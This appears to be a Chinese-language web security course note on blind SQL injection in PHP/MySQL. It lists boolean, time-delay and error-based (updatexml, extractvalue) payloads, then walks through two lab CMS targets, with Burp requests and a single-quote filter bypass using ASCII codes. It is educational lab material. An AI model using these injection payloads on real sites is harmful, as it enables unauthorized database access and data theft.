时间轴:
44天知识点总结:
1.mysql的增删改查功能
2.根据源码sql语句的三种sql注入:布尔盲注(必须要有回显)
延时判断(都可以)
报错回显(必须要有报错处理机制)
3.两个cms案例:
xhcms,kkcms
使用ascil进行单引号绕过。
4.写的一个新闻网页,使用del过滤。
演示案例:
PHP-MYSQL-SQL 操作-增删改查
PHP-MYSQL-注入函数-布尔&报错&延迟
PHP-MYSQL-注入条件-数据回显&错误处理
PHP-MYSQL-CMS 案例-插入报错&删除延迟
PHP-MYSQL-SQL 操作-增删改查
1、功能:数据查询(注重数据回显)
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等(注重结果)
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等(注重结果)
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等(注重结果)
修改:UPDATE news SET id=$id

PHP-MYSQL-注入函数-布尔&报错&延迟
盲注就是在==注入过程中,获取的数据不能回显==至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的 SQL 盲注-逻辑判断(需要有回显)
#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;
2、基于时间的 SQL 盲注-延时判断(可以不用回显及报错处理)
#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);
演示:


3、基于报错的 SQL 盲注-报错回显(需要报错处理)
基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。
FLOOR:
FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。
updatexml:updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。
- 示例:
- 上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。
使用方法:extractvalue:
extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。
示例:
上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。extractvalue(1, concat(0x7e, (SELECT user())), 1)
#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
演示:
4.更多:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
PHP-MYSQL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
and if(1=1,sleep(5),0)
2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显)
)
and length(database())=6
3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注
)
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显,无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
演示案例:
news.html与news.php:
尝试对删除功能进行注入:
没有对数据进行回显操作,只有报错处理。
PHP-MYSQL-CMS 案例-插入报错&删除延迟
1、xhcms-insert报错
’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’
打开对应的源码
- ctrl+shift+f:全局搜索:insert
- 发现有报错处理:文件路径为:files/submit.php
- 由于网址在index.php有规定,特殊的路由访问方式
- 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发
- 所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面
- 再次查看submit.php页面发现其SQL语句中的表名为$query = "INSERT INTO ***interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;*
- 分析sql语句$query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now())"; 发现有‘ ’影响,在注入时,需要避免
- 使用注入:' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
- 注意:留言内容必须是中文,不然会无法回显报错
- 数据回显:新增错误:XPATH syntax error: '5.7.26’,盲注成功
1.ctrl+shift+f:全局搜索:insert
发现在此处可以进行sql报错处理。
2.发现有报错处理:文件路径为:files/submit.php
右鍵找到地址,复制地址可以看到路径。
3.正常情况去访问:(会发现报错)
分析发现是使用别的访问方式:
4.于是尝试访问:(发现出现报错)
5.于是继续进行全局搜索:发现有个contact是需要此数据传递的
6.所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面
7.源码和网页对应上。
8.可判断此处就是接受评论的地方。
9.发现interaction和数据库对应上,也和网页对用上。
10.由于有报错可以进行盲注报错处理,但由于数据中有'',所以需要进行过滤。
使用语句:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
2、kkcms-delete延时
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)
- 打开对应的源码
- ctrl+shift+f:全局搜索:delete
- 发现有删除相关代码:文件路径为:admin/model/usergroup.php
- 访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,
- 解决:必须需要登录http://10.0.0.5/admin 还是空白
- 由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配
- 搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php
- http://10.0.0.5/admin/cms_usergroup.php 访问成功
- 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp
1.打开对应的源码
2.ctrl+shift+f:全局搜索:delete
3.发现有删除相关代码:文件路径为:admin/model/usergroup.php
4.访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,
5.解决:必须需要登录http://10.0.0.5/admin
用戶名:admin
密码:123456
6.由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配
7.搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php
http://10.0.0.5/admin/cms_usergroup.php访问成功
寻找表:
由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp
- 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功?del=4 or if(1=1,sleep(2),sleep(0))
- 回显200成功后,将?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功
- 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别
- ?del=4%20or%20if(length(database())=5,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位(可以查看右下角判断时间)
- ?del=4%20or%20if(**left(database(),1)='k',sleep(1),sleep(0))将判断内容替换为检查当前数据库名称的第一个字符是否为 ‘k’。
发现,回显的数据包,并没有延时,但数据库名为kkcms
将源码的sql语句打印出来,发现是源码对于单引号做了过滤
- ord() 函数:
- ord() 函数返回字符串的第一个字符的 ASCII 值。
- 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。
将?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤。
ASCII值:k-->107:
网站搭建教程:
1.xhcms:


若报错:
则:



2.kkcms:
本文章由李豆豆喵和番薯小羊卷~共同完成。